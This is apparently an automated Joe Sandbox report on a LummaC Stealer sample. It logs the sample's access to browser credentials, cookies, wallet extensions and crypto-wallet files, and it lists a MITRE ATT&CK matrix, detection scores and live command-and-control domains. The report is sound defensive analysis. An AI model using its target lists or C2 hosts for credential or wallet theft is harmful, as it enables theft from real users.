Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 6796, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6796, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	411 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	131 Virtualization/Sandbox Evasion	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	411 Process Injection	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.LummaStealer
SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	76%	Virustotal		Browse
SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	100%	Avira	TR/AD.Nekark.sbdpe
SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
bordersoarmanusjuw.shop	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Link
pushjellysingeywus.shop	2%	Virustotal	Browse
bordersoarmanusjuw.shop	2%	Virustotal	Browse
https://bordersoarmanusjuw.shop/	16%	Virustotal	Browse
https://bordersoarmanusjuw.shop/api	16%	Virustotal	Browse
entitlementappwo.shop	17%	Virustotal	Browse
mealplayerpreceodsju.shop	18%	Virustotal	Browse
absentconvicsjawun.shop	2%	Virustotal	Browse
economicscreateojsu.shop	13%	Virustotal	Browse
wifeplasterbakewis.shop	2%	Virustotal	Browse
suitcaseacanehalk.shop	2%	Virustotal	Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bordersoarmanusjuw.shop	172.67.189.66	true	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
pushjellysingeywus.shop	true	2%, Virustotal, Browse	unknown
bordersoarmanusjuw.shop	true	2%, Virustotal, Browse	unknown
suitcaseacanehalk.shop	true	2%, Virustotal, Browse	unknown
entitlementappwo.shop	true	17%, Virustotal, Browse	unknown
economicscreateojsu.shop	true	13%, Virustotal, Browse	unknown
https://bordersoarmanusjuw.shop/api	true	16%, Virustotal, Browse	unknown
mealplayerpreceodsju.shop	true	18%, Virustotal, Browse	unknown
absentconvicsjawun.shop	true	2%, Virustotal, Browse	unknown
wifeplasterbakewis.shop	true	2%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://bordersoarmanusjuw.shop/J	RegAsm.exe, 00000001.00000002.1628176324.0000000001194000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bordersoarmanusjuw.shop/	RegAsm.exe, 00000001.00000002.1628176324.0000000001194000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.1628492240.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	false	16%, Virustotal, Browse	unknown
https://bordersoarmanusjuw.shop/apist	RegAsm.exe, 00000001.00000002.1628176324.0000000001141000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.189.66	bordersoarmanusjuw.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428542
Start date and time:	2024-04-19 07:21:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	3
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 38 Number of non-executed functions: 37
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
